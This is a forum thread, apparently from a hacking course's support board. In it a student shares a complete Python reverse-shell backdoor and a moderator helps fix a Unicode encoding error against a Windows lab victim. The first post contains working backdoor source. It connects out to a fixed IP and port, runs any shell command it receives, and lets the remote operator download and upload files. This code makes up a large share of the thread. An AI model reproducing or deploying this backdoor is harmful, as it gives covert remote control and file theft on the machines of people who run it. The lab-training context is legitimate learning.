Viewing 15 posts - 1 through 15 (of 15 total)
  • Author
    Posts
  • #72003
    donatas
    Participant

    hello i wrote off all the backdoor code and everything works except when i try dir or more commands i get this error maybe someone could help me fix it

    BackDoor Code:

    #!/usr/bin/env python
    import socket
    import subprocess
    import json
    import os
    import base64

    class Backdoor:
    def __init__(self, ip, port):
    self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.connection.connect((ip, port))

    def reliable_send(self, data):
    json_data = json.dumps(data)
    self.connection.send(json_data)

    def reliable_receive(self):
    json_data = “”
    while True:
    try:
    json_data = json_data + self.connection.recv(1024)
    return json.loads(json_data)
    except ValueError:
    continue

    def execute_system_command(self, command):

    return subprocess.check_output(command, shell=True)

    def change_working_directory_to(self, path):
    os.chdir(path)
    return “[+] Changing working directory to ” + path

    def read_file(self, path):
    with open(path, “rb”) as file:
    return base64.b64encode(file.read())

    def write_file(self, path, content):
    with open(path, “wb”) as file:
    file.write(base64.b64decode(content))
    return “[+] Upload successful.”

    def run(self):
    while True:
    command = self.reliable_receive()

    try:
    if command[0] == “exit”:
    self.connection.close()
    exit()
    elif command[0] == “cd” and len(command) > 1:
    command_result = self.change_working_directory_to(command[1])
    elif command[0] == “download”:
    command_result = self.read_file(command[1])
    elif command[0] == “upload”:
    command_result = self.write_file(command[1], command[2])
    else:
    command_result = self.execute_system_command(command)
    except Exception:
    command_result = “[-] Error during comand execution.”

    self.reliable_send(command_result)

    my_backdoor = Backdoor(“192.168.79.137”, 4444)
    my_backdoor.run()

    Attachments:
    You must be logged in to view attached files.
    #72010
    Diego PérezDiego Pérez
    Moderator

    Hi!
    You have another question about the same script and both issues might be related so answer just in one topic please. Can you share the code but with the proper indentation? Otherwise it’s not possible to read it properly, hence the error can’t be found.

    Greetings!
    Diego

    #72013
    donatas
    Participant

    here

    Attachments:
    You must be logged in to view attached files.
    #72015
    donatas
    Participant

    and here

    Attachments:
    You must be logged in to view attached files.
    #72035
    Diego PérezDiego Pérez
    Moderator

    Hi!
    Cool! Are you using a windows virtual machine as victim? If so, did you change the language of it? Or is there any file name in the current working directory which is in a different language other than english?

    Greetings!
    Diego

    #72036
    donatas
    Participant

    yes i do use a windows machine as victim like it shows in videos and my windows machine is in my language which is Lithuanian language and there is no file in the current working directroy which one is in a diffrent language

    • This reply was modified 1 year ago by donatas.
    #72038
    donatas
    Participant

    EDITED VERSION

    Yes, I use a Windows device as a victim, as it is shown in the videos, and my Windows device is in my language, which is in lithuanian, and in the current working Directroy there is no file that is in another language

    #72044
    Diego PérezDiego Pérez
    Moderator

    Hi!
    Ok, can you try to add a property in the reliable_send function? I mean in the backdoor:
    json_data = json.dumps(data, ensure_ascii=False)

    Let me know how it goes!
    Diego

    #72051
    donatas
    Participant

    still not working but i don’t get any errors.

    Attachments:
    You must be logged in to view attached files.
    #72053
    donatas
    Participant

    but when i exit the backdoor with (ctrl C) i get this error

    • This reply was modified 1 year ago by donatas.
    Attachments:
    You must be logged in to view attached files.
    #72060
    Diego PérezDiego Pérez
    Moderator

    Hi!
    It says that the error is in reliable_receive, where exactly did you made the changes? Can you share the modified code?

    Greetings!
    Diego

    #72061
    donatas
    Participant

    only in here

    Attachments:
    You must be logged in to view attached files.
    #72089
    Diego PérezDiego Pérez
    Moderator

    Hi!
    It seems that last error is because you pressed ctrl + c, can you explain what happened?

    Greetings!
    Diego

    #72112
    donatas
    Participant

    everything is working fine.

    #72135
    Diego PérezDiego Pérez
    Moderator

    Hi!
    Glad you got it!
    Diego

Viewing 15 posts - 1 through 15 (of 15 total)
  • You must be logged in to reply to this topic.